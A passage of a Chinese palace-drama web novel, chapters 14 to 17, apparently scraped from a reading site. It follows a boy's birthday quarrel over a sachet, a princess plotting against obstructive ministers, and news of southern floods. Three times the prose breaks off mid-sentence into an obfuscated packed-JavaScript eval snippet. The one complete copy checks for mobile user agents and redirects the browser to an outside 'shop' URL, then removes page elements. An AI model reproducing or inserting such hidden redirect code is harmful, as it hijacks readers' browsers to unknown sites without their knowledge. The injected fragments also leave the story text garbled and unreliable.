四目相对,顺安挠挠头道:“公子可算是醒啦,这会儿辰时了,距离巳时也不久了,奴才去打盆水来,公子洗漱可好?再晚些,怕是要误了公子的好时辰了。” “好。”裴祈安轻轻应了一声。 等这边刚洗漱完,福喜又听着动静过来了。 “公子起来啦?”他的声音比起顺安,更显夸张一些,“那奴才就先祝公子生辰快乐!” “哎呀。”顺安一拍脑门,“是啊,我竟忘说了。”转而又笑起来,“奴才也祝公子生辰快乐。” 裴祈安朝他们二人看一眼,唇角浅浅勾起,“多谢你们。” “公子何须与我们客气?”福喜笑盈盈地上前一步,“公子想用什么早膳?奴才去厨房找人做。” “不必了。”裴祈安摇摇头,“我现在不饿,先出去转转。” 顺安与福喜对视一眼,没再多说,只恭声应了,跟在他后头一块儿往外走。 离开院子,穿过一个回廊便到了正院。 此时,下人们已经忙得差不多了,桌椅都摆了出来,廊柱上也挂上了红绸。 当他出现时,所有人都毕恭毕敬地朝他请了安,唤他一声“三少爷”。 他垂下眼帘,笑意不达眼底。这待遇,从前在裴府可是从未有过的。 正看着四周,忽然听见一阵急促的脚步声,还伴随着一道尖锐的哭喊—— “娘!娘!” 那声音尖锐又刺耳,落在耳中实在难听。 裴祈安忍不住揉了揉耳朵。 也正是巧,周静娴恰好穿戴完毕出来,听到这声音,眉头瞬间一皱。 哭喊声越来越近,裴祈安闻声望去,就见裴昭钰正从后院冲出来,发丝凌乱,一边哭一边喊,他身后跟着两个手足无措的丫鬟,想拦又不敢拦,只能疾步跟着。 裴祈安目光落在他的脸上。 那张脸虽然同昨晚一样令人讨厌,但却丑了许多。密密麻麻的红疙瘩,从额头蔓延至下巴,连脖子上都有几颗,有的大的甚至有黄豆大小,又红又肿,在晨光里看着触目惊心。 裴祈安眯了眯眼,似是有些嫌弃地挪了开。 周静娴也瞧见了小儿子的模样,惊地叫了一声,慌忙问:“这是怎么回事?” 此刻,裴昭钰才瞧见了站在廊下的裴祈安。 他猛地刹住脚步,脸上的表情从方才的惊恐切换为愤怒,最后定格成一种扭曲的狰狞。 “是你!”他抬手指向裴祈安,“一定是你!你对我做了什么?!” 裴祈安目光直视他,平静的神色中带着一丝茫然。 下一秒,甩出轻飘飘两个字。 “什么?” “你别装蒜!”裴昭钰又上前冲了一步,只是还没等碰到他,便被身后的丫鬟死死拉住,“我的脸!是不是你害的?!” 裴祈安这才又看向他的脸,然后微微蹙起眉,语气里带着几分不解,“你的脸……怎么了?” “你——”裴昭钰被让这副态度气得发抖,“你看不见吗!就是你!就是你害的我!” 裴祈安没再辩解,只是静静站在那里。 顺安和福喜一左一右站在他身侧,脸色都不大好看。 正院里那些忙碌的下人也纷纷停下动作,目光齐刷刷地望过来。有人面面相觑,有人窃窃私语。 “钰儿!”周静娴疾步走来,捧起儿子的脸仔细端详,手指都在发抖,“这……这是怎么弄的?昨晚不是还好好的!” “娘——”裴昭钰又哭上了,他再次指向裴祈安,“一定是他!他一回来,我的脸就这样了,肯定是他害我的!” 话落,周静娴猛地转头,目光凌厉地盯着裴祈安,那眼神就像两把刀,要将眼前之人生吞活剥了。 “你……你怎么敢的?” “母亲?”他缓缓开口,脸上的疑惑之色更甚,“为何如此断定是我做的,我昨夜在自己的院中,未曾出门。” “你骗人!”裴昭钰吼道。 顺安立刻上前一步,“尚书夫人,奴才可以作证,我们公子昨夜一直在屋里歇息。” “是啊,奴才也能作证。”福喜接着又道:“我们公子最是心善,平日连飞过的鸟儿都会喂点吃食,怎可能会做害人的事呢?” “真不是你?”说话的二人毕竟还是公主的人,周静娴缓缓冷静下来,目光在裴祈安脸上来回扫视,像是想从那张平静的脸上找出一丝破绽。 可惜,她什么都没找到。 正院的动静太大,把裴宗烨也招来了。 了解完情况后,他低声对周静娴道:“事到如今,还是抓紧给钰儿找大夫,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴昭钰的脸色变了又变,再抬眼,便是恶狠狠盯着裴祈安。 “是你!” 他忽然冲上去,用尽全力推了裴祈安一把。 裴祈安没有防备,往后踉跄了一步,若不是顺安和福喜护着,就要跌倒了。 “这是在做什么?” 一道清亮却带着几分冷意的女声骤然响起,年纪尚浅,却盖过了周遭的喧嚣。 所有人齐齐转头,府门口,不知何时站了几个人。 为首的是赵锦瑜,一身素雅的宫装,发髻也是简单的款式。她静静地站在那,目光从裴昭钰身上缓缓扫过,又落在裴祈安身上。 在她身侧,站着一脸怒意的赵锦辰。再往后,便是跟着来的清梧几人。 裴宗烨脑子‘嗡’的一下,连声音都有点变了调,“公主殿下,皇子殿下,您二位……怎么这么早就来了?” 赵锦瑜没立刻回答他的问题,目光依旧落在裴祈安身上,上下又打量了一遍,似乎在确认他有没有受伤。 然后,她才缓缓移开视线,语气平平道:“祈安生辰,便想着早些来了。”说着,目光又落向裴昭钰,“方才,你推人了?” 裴昭钰脸涨得通红,在那片红疙瘩下,整张脸显得更加触目惊心。 见状,裴宗烨连忙上前一步,躬身道:“公主息怒!是犬子不懂事,他们兄弟俩有些误会,这才……” “误会?”赵锦瑜重复了一遍这个词,语气里依旧听不出喜怒,“那劳烦裴大人说来听听,是什么误会?” 裴宗烨一时无言,不知该如何解释,他自己都还没弄明白呢。 裴昭钰在一旁憋不住了,他捂住脸,声音又尖又委屈,“请公主替我做主!裴祈安害我!他将我的脸害成了这样!” “你别血口喷人!”赵锦辰冷眼道:“你的证据呢?空口说白话谁不会啊。” “有!我有证据!”裴昭钰赶忙道:“昨夜我捡了他的香囊,今早起来就这样了,一定是那个香囊有问题!他肯定、肯定是故意丢在那让我捡的。” “香囊?”裴祈安微微歪头,眼神直白地盯着他,“我昨夜便同四弟说,自己掉了个香囊,还问四弟有没有看到。我记得——”他放缓语速,“四弟坚称没看到,如今怎么又说,我的香囊,在你那了?” 15. 第 15 章 话音落下,满室寂静。 赵锦瑜眉头微抬,看向裴祈安的眼神中充满欣慰。 裴昭钰噎住了。 他无法解释,干脆破罐破摔,语气激昂道:“你休要转移话题!一定是你在香囊里动了手脚!” “快!”说着又转头对身后的丫鬟说:“去将我床榻上那个香囊取来。” 小丫鬟不敢擅作主张,在周静娴的眼神示意后,才敢后退离开。 待她将香囊取来后,大夫也赶到了。 大夫仔细端详了裴昭钰那张脸,又细细问他昨夜吃了什么。裴昭钰一一答复。 大夫点点头,眉头微皱,“这些吃食倒是不会引起红疹。” “大夫可懂香囊?”此时香囊在周静娴手里,她递给大夫道:“劳烦大夫再仔细瞧瞧,这香囊可有异样?” 大夫先是凑近闻了闻,才打开细细看了起来。 不一会儿,他仰头轻“啊”一声,瞬间恍然大悟。 “这香囊里的东西本身并无问题。”他开口道:“多是些安神静气的寻常之物,只是其中有一位白芷,小公子又内饮了牛乳,两味相冲,易生湿热、发疮疡。小公子年幼,体质又偏敏感,这才起了这满脸的红疹。” 裴昭钰愣住了。 周静娴也愣住了。 裴宗烨的脸色则是一阵青一阵白。 留下药方后,大夫被送出府了。 在大夫到来后,赵锦瑜没说过一句话,一直静静站在一旁,如今倒是松了口气。 “所以——”她缓缓开口,目光落在裴昭钰身上,“你自己捡了别人的东西,还要害别人怪你?” 裴昭钰这下是真说不出话来了,泪花在眼眶里打转,瞧着还真有些可怜。 赵锦辰还在一旁添油加醋,“原来是捡了人家的东西不还,吃了亏还怪人家呀?你这人讲不讲理啊?” 裴昭钰终于“哇”地一声哭了出来,接着又一头钻进周静娴的怀里。 裴宗烨连忙躬身道:“请二位殿下恕罪,犬子年幼无知,不懂事……” 赵锦瑜抬手止住他的话,转向裴祈安。 “祈安。”这时的声音软了许多,“这香囊还要么?” 裴祈安看了眼那只皱巴巴的香囊一眼,随即摇了摇头,“不要了,既然四弟喜欢,那便留着吧。” 这话说得平平淡淡,可落在裴昭钰耳里,却像被扇了一巴掌。 他哭得更厉害了。 赵锦瑜弯了弯唇角,“既如此,待回宫后,阿姐送你一个新的。” 闻言,裴祈安抬起眼眸,他记得赵锦瑜曾说过,在外还是要称她一声“公主”,可现在,她却主动将“阿姐”二字说出,摆明了是在抬高自己。 四目相对下,他也弯了弯唇角,缓声道:“祈安多谢阿姐。” 果不其然,周遭的气氛静了下来,连裴昭钰都忘记了哭,在场所有人,除了赵锦辰几人,均是一脸震惊,仿佛不敢相信自己的耳朵。 “裴大人。”赵锦瑜转向裴宗烨,语气温和了许多,“今日是祈安十岁的生辰,我们特意早些来,是想看看准备的如何了,是否需要帮忙。方才的事……既是误会,说开便罢。四公子身体不适,去休息便是了。” 裴宗烨连忙点头,“是是是,公主说的是。”话落,不悦的目光又落向周静娴,“还不快带钰儿下去歇息。” 周静娴张了张嘴,最终什么都没说,行礼后便带着还在抽泣的儿子走了。 插曲过后,正院里重新忙碌起来。 茶水点心开始流水似的往厅里端,像是不放心,裴宗烨亲自张罗着,把一切都安排得妥妥当当,生怕再有半点差池。 宾客们陆续到了。 裴家族人来了不少,一个个都带着贺礼。 裴祈安站在厅中,穿着一身月白暗纹锦袍,领口绣着极浅的缠枝纹,这身新衣还是赵锦瑜亲自选的,觉得与他十分相配,干净又乖顺。 他安静应对着每一个上前寒暄的人,礼数周全,该笑的时候笑,该应到的时候应,可那双眼睛里始终带着一丝不易察觉的拘谨。 赵锦辰一直跟在他旁边,时不时凑上来与他说说小话。 赵锦瑜则坐在上首,有一搭没一搭的与在场女眷说着话。 宴席一共进行了三个时辰,宾客们陆续告辞。 裴宗烨亲自将家中族老送到门口,脸上带着满意的笑容。除去今早的小插曲外,一切都顺利,公主皇子也满意,裴家也就跟着面上有光。 见人都走得差不多了,赵锦瑜起身问:“祈安,今夜你是还住在裴府,还是回宫明日一早再来?” 裴祈安垂下眼帘,睫毛轻轻颤了颤,“想回宫,住不惯,昨夜……都没睡好。” 他这话声音很低,尾音微微拖长,说得委屈巴巴的,赵锦瑜听在耳中,竟觉得有几分撒娇的意味。 看着他这副模样,赵锦瑜心中不由地发软。 果然才十岁嘛,就该有点孩子气才对。 她忍不住伸手,揉了揉他的发顶。 “行,那就回宫。”她笑着道:“让顺安和福喜去收拾一下,好了和我们一块儿走。” 回宫的马车上,赵锦辰上车后没多久就歪在一旁睡着了。今日他兴奋了一整天,这会儿终于撑不住了,脑袋一点一点的,靠在车壁上发出轻轻的鼾声。 裴祈安坐在他对面,也忍不住打了好几个哈欠。 赵锦瑜看了他一眼,忽然轻轻笑了笑,“看来昨夜是真的没睡好啊。” 裴祈安抬起眼,对上她的目光,“祈安可不敢骗阿姐。” 赵锦瑜看着他,心里又软了几分。 “那你也休息会儿。”她温声道:“今夜回崇文轩好好睡,明日还要回上书房上课呢。” 裴祈安点点头,又轻声道:“阿姐,今日……谢谢你。” “谢什么?你的生辰,我还能不来?” “这次不是这个。”裴祈安解释,“是谢阿姐维护我。” 赵锦瑜愣了愣,随即嗔怪一笑,“你是我从裴家带出来的,我不护你护谁。” 她又想到了原书中的裴祈安,与如今自己面前这人,简直天差地别。每每想到当初的决定,赵锦瑜都会觉得庆幸,这不止改变的自己的结局,也改变他那充满悲剧色彩的命运。 只是,还是有人不安分…… “你呀。”紧接着又道:“今日表现得还算不错,还与你那四弟对峙了几句,往后也得如此,不能再让人欺负了去。受了委屈也不能再像从前,闷声不吭,积压得多了,恐会反噬到自身。” “我听阿姐的。”裴祈安唇角的弧度依旧在,“往后,一定不会让人欺负了去。” “好。”赵锦瑜放心了,“阿姐可听进去了啊。” 之后的日子,赵锦瑜明显感觉到,裴祈安有什么地方不一样了。 不是那种翻天覆地的变化,而是很细微的不同。 比如,在她去景阳宫看他们时,从前他总是规规矩矩坐在自己书案前,如今却偶尔会在她看书的间隙,递来一杯温度刚好的茶。 比如,从前他与赵锦辰斗嘴时,赢了也只会淡淡弯一下唇角,如今会微微露出一点得意的小表情。 比如,从前见她总是规矩叫人,如今有时会从背后追上来,会在轻轻拽一下她的衣袖后,才开口说话。 赵锦瑜对此乐见其成,如今自己可是未来大男主最依赖的阿姐,前路可谓是一片光明啊。 只是,还没舒服几天呢,她父皇又抛来了难题。 一日夜晚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227520|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚沐浴完,准备早些睡个美容觉,就听外人有人通传: “皇上驾到——” 她只得重新换上衣裳,回到正厅。 文靖帝已经坐下,身边只有杨公公一位,其余人都被遣去了外头。 他的神色比平日多了几分疲惫,眉心那道浅浅的川字纹,在烛光下显得格外清晰。 “父皇。”赵锦瑜迎上去,在他身边坐下,“这么晚了,父皇怎么想起往儿臣这儿来了?” 文靖帝摆摆手,沉默了一会儿,才开口:“阿瑜,父皇知你聪慧,今日确实遇上了些烦心事,才想来找我女儿说说。” 赵锦瑜没有追问,只是静静等着。 又过一会儿,文靖帝才缓缓开口:“父皇想动几个人。” 赵锦瑜微微一怔,随即明白过来,他这是在说朝堂上的官员。 “哪些人?”她问。 文靖帝没有直接回答,只是苦笑了一下,“阿瑜知道吏部的那位左侍郎吗?” 赵锦瑜想了想,在元日宴那日确实见过,听说是吏部尚书的小舅子。她点点头,“稍有印象。” “这才四月,他今年就已经递了三回告病的折子了。”提到这事,文靖帝颇有些无奈,“我批了,过几天他好了,再过阵子,又病了。我找人去打探过了,他其实什么事都没有,就是在京郊的庄子里住着,每月领俸禄,从不办差。” 赵锦瑜听得眉心微蹙,这也太腐败了,这种德不配位的人一直存在,国家早晚得出事! 文靖帝瞧了瞧她的神色,继续道:“这样的人,不止一个。工部有个员外郎,也是工部尚书家的亲戚,是当初的二皇子帮着举荐上来的。当年的二皇子倒台了,可他还在,庸才一个,什么事都干不成。当年四子夺嫡,皇子们为了笼络人心,可真是给我留下了一笔糊涂账啊。” 说着,语气越发疲惫与无奈。 赵锦瑜沉默一会儿,问:“所以父皇,是想将这些人的职位撤了?” “不全是,有几个还是有些能力的,只不过位子太高了。”文靖帝呼出一口气,“我是想,该挪的挪,该贬的贬,该调的调。今日早朝后,我便留下了些人,提了这事,谁知,六部尚书,除了兵部的裴宗烨和礼部的赵崇山,其余四人全都跳出来反对。” 赵锦瑜眉头拧得更紧了,“都反对?” “是。”文靖帝摇了摇头,“户部的萧景和刑部的叶励是劝父皇,官员调动事关重大,需从长久,不易操之过急。工部的魏鸿明则说,那些人虽才干平平,却也无大过,贸然调动,恐伤朝廷颜面。” 他顿了顿,声音沉了下去,“吏部尚书宋秉诚倒是没说什么大道理,只提了一个人的名字,就是他那小舅子。说若是把他调走,他这个尚书,也就没脸当下去了。” 赵锦瑜听得心里发凉,这已经是明着威胁了。 她愤愤开口:“父皇怎么说?” “我还能怎么说?”文靖帝摇摇头,“只好说此事再议,先让他们散了。” 说完这句,他闭眼靠在椅背上,良久没有出声。 赵锦瑜看着他,心里像被什么东西堵住了。 从前看书时,只觉得这位新帝运气太好,甚至可以说是走了狗屎运,可来到这之后,她才知道,她的这位父皇有多难。 六部尚书,能有四个反对。礼部的那位,赵锦瑜曾听父皇母后玩笑时听过,为人清廉、公正,还爱才,当初四子夺嫡时他也没轻易站过队,到最后也不属于任何一个阵营。而裴宗烨就不必说了,大抵是因为裴祈安的关系,多少有些顾忌。 最可笑的是,那些反对之人的理由,竟没有一个是为了朝廷、为了社稷的。 “父皇。”赵锦瑜开口,声音压得很低,“他们……是不是觉得您很好拿捏?” 16. 第 16 章 文靖帝睁开眼,看着她,千言万语,最终只化为一口气叹出。 “阿瑜。”缓了一阵儿,他才开口:“父皇在朝中没人,军中没人,他们将我推上这个位置,也不过是认为我在朝中无根基,好控制。可不就是……好拿捏嘛。” 看着他那张疲惫的脸,赵锦瑜的记忆中忽然出现他从前在王府时的模样。那时的他,最大的烦恼,不过是新的书不好看,或是出门踏青的天气不够晴,亦或是锦辰不听话惹了他们生气。 如今呢? 如今他被困在这把龙椅上,被一群各怀鬼胎的人围着,逼迫着干自己本就不擅长的事。 她的新帝忽地涌起一股说不清的怒意。 “父皇。”她开口,声音比方才稳了许多,“您想动的人,有多少?” 文靖帝愣了一下,目光直直地看着她。 见状,赵锦瑜继续道:“您回去列个名单给儿臣,明日一下早朝,儿臣便去勤政殿找您,咱们一起看看,哪些是必须动的,哪些是可以缓一缓的,都列清楚。” 文靖帝一时不知作何反应,只是问:“阿瑜,你想做什么?” 赵锦瑜看着他,目光清亮,“儿臣不能帮您替那些人对峙,但可以帮您想,该怎么动那些人,什么时候动能让他们最疼。” 话音刚落,她弯了弯唇角,那笑容里带着几分文靖帝从未见过的锋芒。 “他们不是觉得您好拿捏吗?那就让他们瞧瞧,父皇您到底好不好拿捏。” 过了好一会儿,文靖帝忽然也笑了,笑容里有欣慰,也有一丝自嘲。 他摇了摇头,“我这个皇帝啊,还没咱们阿瑜一个小姑娘来的硬气。” “不是的。”赵锦瑜说:“不是您不硬气,而是父皇您需要考虑的太多了,母后、我、弟弟妹妹们,父皇不就是顾着我们,才会如此小心谨慎嘛。” 被女儿看穿,文靖帝目光里多了几分复杂。 “阿瑜。”他突然问:“你说,父皇等当好这个皇帝吗?” “能。”赵锦瑜没有犹豫,笃定道:“不仅能,父皇还会是个很好的皇帝。” “为什么?” “因为您想更好,而那些不想更好的人,他们一定会输。” 烛火摇曳间,文靖帝忽然觉得心口的那团郁气,散了许多。 “好。”文靖帝起身,“父皇这就回去列名单,明日给你。” 赵锦瑜点点头,目送他离开。 - 次日,赵锦瑜准时出现在勤政殿。 与此同时,一同前来的还有周皇后。 瞧见她来,文靖帝忙朝女儿使眼色。这事儿他是未同她说起过的,怎么还把人给叫来了。 瞧见他挤眉弄眼的模样,周皇后歪了歪脑袋,故意问:“皇上这是怎么了?眼里进沙子了?” “没……没有。”文靖帝声音有些飘,“婉知你怎么也来了?” 周皇后上前两步,似笑非笑地看着他,“怎么了?臣妾不能来吗?” 文靖帝的喉结滚了滚,“怎么会?” “父皇。”赵锦瑜适时开口:“今日这事,需要母后在,有的事,可能母后比父皇更清楚些。” 下一刻,周皇后已经出现在了文靖帝身边,伸出手,在他腰侧拧了一把,“赵承曜!这么大的事你都不同我说,要不是阿瑜早晨来找我,我还不知道呢。” 文靖帝捂着腰,脸上露出几分心虚的笑,“我不是怕你多想嘛,你心事重,要是知道,又该睡不着了。” 周皇后看着面前这个男人,脸上的皱纹比从前多了些许,可看自己的眼神,还和当年在王府时一样,带着真挚的关切。 她的心一下子就软了。 “那也不能什么都不告诉我呀。”她的声音低了几分,“这些事,我早晚也是会知道的,现在瞒着有什么用?” 文靖帝讪笑两声,伸手握住她的手,“是是是,这次是我不对,今后一定不会了。” 周皇后瞪了他一眼,却没抽出手。 赵锦瑜在一旁看着,唇角微微弯起。 一家三口进了偏殿。 周皇后只知个大概,不知道具体情况,文靖帝便又把昨日的事说了一遍。 周皇后听着,眉头越皱越紧。 赵锦瑜忽然开口,将她的愁思打断,“母后,您可知那几家的儿女情况?” 周皇后愣了一下,“什么儿女?” “就是反对父皇的那几位,主要是吏部和工部的那两位。”赵锦瑜继续道:“他们家中有没有适龄的儿女?” 周皇后想了想,缓缓道:“工部尚书魏鸿明,除了已经结亲的,家中应该还有一子一女,女儿是家中嫡幼女,很受宠爱,我记得今年应该有十五岁了。” 说着她若有所思地问:“阿瑜你是想……” 赵锦瑜没立刻回答,而是又问:“那父皇母后可知,这工部尚书与朝中这些大臣之间,可有素来不和的?” 周皇后怔了怔,随即笑了,“原来阿瑜打的是这个主意啊。” “什么?”文靖帝还没反应过来,有些发懵,“什么主意?” 周皇后没搭理他,想了想,缓缓道:“工部尚书脾气大得很,在朝堂上与他不和的可不少。不过要说最明显的……”她顿了顿,“大理寺卿张敬元与他,是出了名的不对付。” 文靖帝顺势点头,“我也听说过,这两人同年入仕,听说年轻时就产生了嫌隙,这么多年谁看谁都不顺眼,平时在朝堂上碰着,也是谁也不理谁。” 赵锦瑜眼睛亮了起来。 她又问:“那大理寺卿家中,可有适龄的公子?” 周皇后已经知道她在想什么了,笑了笑道:“有,他家的嫡子都已有婚配,可有位庶子,今年十七,据说是还未定亲的。” 话音刚落,她又接着道:“阿瑜是想……为这二位,牵个红线?” “儿臣确有此想法。”赵锦瑜弯了弯唇角,笑容有些狡黠,“父皇现在最难的,不是动不了那些人,而是不想完全撕破脸,将事情闹得太难看,从而让其余朝臣以及百姓觉得‘新帝上任三把火’。既如此,那咱们就使些不用撕破脸的法子。” 文靖帝这下明白了。 “让这两家结亲啊?”他有些犹豫,“一个正二品,一个正三品,魏鸿明原就在官职上看低张敬元一头,这要是下旨把他的嫡女嫁给张敬元的庶子,这还不得闹腾死啊。” “所以父皇并不用下旨啊。”赵锦瑜笑道:“咱们不是真的要给他们保媒,只需要放出一些风声即可。” “啊——”文靖帝随即反应过来,“让魏鸿明知道,我也有应对措施,并且代价不一定是他所能承受的。” 文靖帝看向赵锦瑜的眼神更是慈爱,“我家阿瑜,怎就如此聪慧呢?” “还有一个呢。”赵锦瑜接着道:“吏部尚书不是说了吗,若把他小舅子调走,他就没脸当这个尚书了。那咱们,就让他没脸当。” 周皇后愣了一下,“让他辞官?” “不是让他辞,是他自己想辞。”赵锦瑜道:“儿臣遣人去打听过了,在他那小舅子闲散的同时,吏部大部分事都压在了右侍郎的肩头。儿臣听说,那位右侍郎早有怨言,只因没有背景,才忍气吞声。” “这位右侍郎我也有所耳闻。”提到这人,文靖帝眼中充满了欣赏,“家中父母都是农户出身,他能有今日全靠自己寒窗苦读,一步步爬了上来。” 赵锦瑜脑袋一歪,“既如此,那父皇要不就给破格给他升个职?” 文靖帝不确定地问:“让他接替吏部尚书的位置?” “右侍郎既然这么多年都在干实活,那就证明他能干,也有资历。”赵锦瑜看着他,“若这吏部尚书真因父皇撤了他小舅子的职位而辞官,那倒是皆大欢喜。若没辞,那就提拔右侍郎为左侍郎。等再过几年,吏部尚书也该退了,再升他就是了。至于还有两位提反对意见的尚书——” 赵锦瑜稍加思索,“他们两位,比起反对,更多的其实是劝说。那咱们就先不用管他们,靠另外两位,就能给他们提提醒了。” 文靖帝沉默了片刻,忽然笑了。 “婉知。”他看向周皇后,“你瞧瞧咱们的女儿,这是帮她父皇都把路给铺好了。” “哪有。”赵锦瑜缓缓摇头,“儿臣不过是说说自己的想法,最终要应对他们的,还是父皇啊。儿臣只是想让父皇知道,您不会是被动受欺那个。” 文靖帝脸上笑容敛去,深深地看向女儿。 过了好一会儿,他才开口:“我的阿瑜,若是个男儿就好了。” 那声音不高,却比方才沉了几分。 他这话说得突然,不止周皇后,赵锦瑜都愣了一下。 他却没有再说下去,只是轻轻叹了口气,仿佛充满了可惜。 周皇后看了他一眼,又看向女儿,眼底也浮起一丝复杂的神色。 赵锦瑜反而神态自若,开口时声音轻而平静,“父皇放心,儿臣虽不是男儿,但一直在。” 简单一句话,可文靖帝听着,心里却像被什么东西轻轻托了一下。 他笑了笑,那笑容里带着释然,“父皇和母后有阿瑜,是我们的福气。” - 那日之后,朝堂上悄悄起了些变化。 起初没人当回事,新帝还是那个新帝,依旧会对着某些大臣呈上的折子皱眉,偶尔也会召见几个大臣,说些无关痛痒的话。 可慢慢地,有些人开始觉得不对劲了。 最开始,是忽然传出一个消息,说是宫里似乎在琢磨给工部尚书家的嫡女说亲,说的还不是别人,是他那死对头大理寺卿家的庶子。 没人知道消息是从哪儿来的,只是没过几日,整个朝堂都听说了。 工部尚书魏鸿明,那几日的脸都是黑的。 他在退朝后去勤政殿求见过文靖帝好几回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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文靖帝视线往赵锦瑜那撇了一眼,笑道:“儿臣不瞒母后,其实儿臣先去了玉芙宫,没找着人,再一想,锦辰还在上书房学习呢,肯定不会在景阳宫,剩下多半就在母后这儿了。” 闻言,太后轻哼一声,“合着不是来看哀家的。” “儿臣哪儿敢。”文靖帝连忙凑上去,“一起,阿瑜和母后儿臣一块儿看。” “还有我们呢父皇。” “对呀对呀,父皇不看我们嘛。” 两道稚嫩的声音响起,屋内好几人都被逗笑。 “也看也看。”文靖帝上前一手摸了一个脑袋,“父皇当然也要看锦珩和锦宜啊。” 赵锦瑜在一旁看着,唇角弯弯的。 太后也是,脸上的笑容怎么也藏不住,“行了,哀家知道你有小心,也知道你找阿瑜什么事。”她指了指另一旁,“来坐着吧。” 文靖帝入座后,讪讪笑了笑,“母后知道了?” “知道了,皇后与哀家提过了。”太后点点头,转头看向赵锦瑜,目光里带着欣慰,“阿瑜做得好。” 闻言,赵锦瑜轻声道:“祖母过誉了,孙女儿不过是动动嘴皮子罢了。” “动嘴皮子能动出那么大的动静?”太后摇头笑了笑,“你父皇那个性子,若是没人在后头推着,怕是到现在还愁着呢。” 文靖帝丝毫不觉脸红,反而生出一股发自内心的骄傲,“可不是嘛,父皇的阿瑜真是长大了,如今都能顶事了。” 太后接过话,“是啊,再过一年,等到明年盛夏,就该及笄了。” 文靖帝正感叹着时光如梭呢,就听赵锦瑜忽然开了口。 “说到及笄,等入了秋,嘉宁姐姐就该及笄了。”赵锦瑜接着道:“孙女儿记得,嘉宁姐姐是秋天生的吧?” “是了。”太后轻拍赵锦瑜手背,“亏你还记得这个,你嘉宁姐姐是快过生辰了。” “公主的及笄礼,那得大办了。”文靖帝认真道:“儿臣回去就让人与内务府对接,让他们务必将此事办好。” 说着,眼底出生了期待,“等明年阿瑜的及笄礼,便用不着他们了,我与婉知亲自策划。” 太后好笑地看着他,还没等说话,就被两个小家伙抢了先。 “什么及笄礼?我也要过。” “妹妹要过,那我也要过。” “你们俩还闹腾上了。”文靖帝失笑,“再说了,这及笄礼是女儿家过的,锦珩你一个男子汉,可过不了呢。” “啊——”赵锦珩拖长着音调,像是对自己不能有及笄礼这事十分失望。 文靖帝笑着摸摸他的头,安慰道:“虽然不能有及笄礼,但等明年锦珩就能去上书房,同你阿兄一块儿在那学习了。” 赵锦珩眨眨眼,似乎在想,能和阿兄一起读书,大概也很好玩。 旁边的赵锦宜脆生生地开口:“那我也要去!” 文靖帝愣了一下,低头看小女儿。 赵锦宜睁着一双大眼睛,满脸期待的望着他。 回过神来,文靖帝温声道:“锦宜,上书房是给皇子以及一些大臣的儿子读书的地方,都是男子去的。你是公主,咱们不去那儿啊,等明年了,也会有师傅专门来教你学习的。” “为什么呀?”赵锦宜小脸垮下来,嘟着嘴问:“为什么公主不能去?” 17. 第 17 章 为什么公主不能去? 文靖帝被她问住了。 他张了张嘴,想解释,可一时间竟不知该怎么答。 因为历来如此,因为从古至今,上书房就是皇子读书的地方,公主从不去。 可真要解释这些吗? 他想了半天,最后只憋出一句:“这个……公主有公主要学的东西,与皇子的不同而已。” 赵锦宜似懂非懂,眨眨眼,小小地“哦”了一声。 小模样瞧着有些委屈,却没再问了。 太后在一旁解围,笑着开口:“锦宜乖,等明年,祖母教你读书,好不好啊?” 赵锦宜抬起头,眼睛又亮了起来,“真的?” 太后点头,“当然是真的,祖母才不会骗锦宜呢。” 就这样,小女孩又高兴了。 可赵锦瑜坐在一旁,目光落在妹妹小小的身影上,心里却忽然浮起一个念头。 为什么公主不能去? 或者说,为什么女子不能去? 为什么历来如此的,就一定是对的呢? 她穿来的这个朝代,女子不能上学堂、不能入朝堂为官、不能自主议亲或退婚、不能继承家业与爵位…… 她想起自己这些日子帮着父皇在朝堂上的谋划。 她能做的事,一点也不少。 那妹妹呢?别的女子呢?都不过是没有机会罢了。 接下来的日子,赵锦瑜除了琢磨这些事外,去赵嘉宁那的次数也勤了些。 倒不是有什么事,只是单纯觉得与她投缘,能聊到一块儿去。 然而,就在距离赵嘉宁及笄礼不到月余之际,南方传来急报——洪涝。 连日暴雨,江河决堤,足有三个州县被淹,灾民无数。 折子一封接着一封递进京城,每一封都看得人触目惊心。 一连几日,文靖帝愁得连觉都睡不好。 赵锦瑜这几日也恢复了天天往勤政殿跑,她也不说什么,只是静静坐在一旁,偶尔帮父皇研磨、添茶。 一日,她正在翻看文靖帝刚看完的灾情奏报。翻看着的同时,她又想到一事—— 洪涝过后若是发生疫病怎么办? 这可是古代,并没有专职的防疫部门,等真出现问题时,也全都是临时拼凑。再加上信息流通慢,若真到了这一天,等灾情上报要几天甚至十几天,再等防疫的圣旨与人手过去,也许就已经死一片了。 她琢磨着这事,还是决定和父皇探讨一个合理的防疫法子。 “父皇。”她轻声道:“儿臣想到一事……”只是没等她说完,外头忽然传报—— “嘉和公主求见。” 文靖帝愣了一下,放下手里的笔,“嘉宁?先让她进来。” 赵锦瑜也抬起头,有些意外。她这姐姐,平日大多时间都待在自己宫中,鲜少出来。 片刻后,赵嘉宁走了进去。 她走到案前,端端正正跪地,行了大礼。 “嘉宁叩见皇叔。” 文靖帝连忙抬手,“这是做什么?嘉宁快起来。” 赵嘉宁没有起身,依旧跪着。 “皇叔。”她抬起头,目光清亮而坚定,“嘉宁有事恳求。” 文靖帝看着她,隐约猜到了什么,“你说。” 赵嘉宁缓缓道:“我的及笄礼,希望皇叔可以准许,一切从简。” 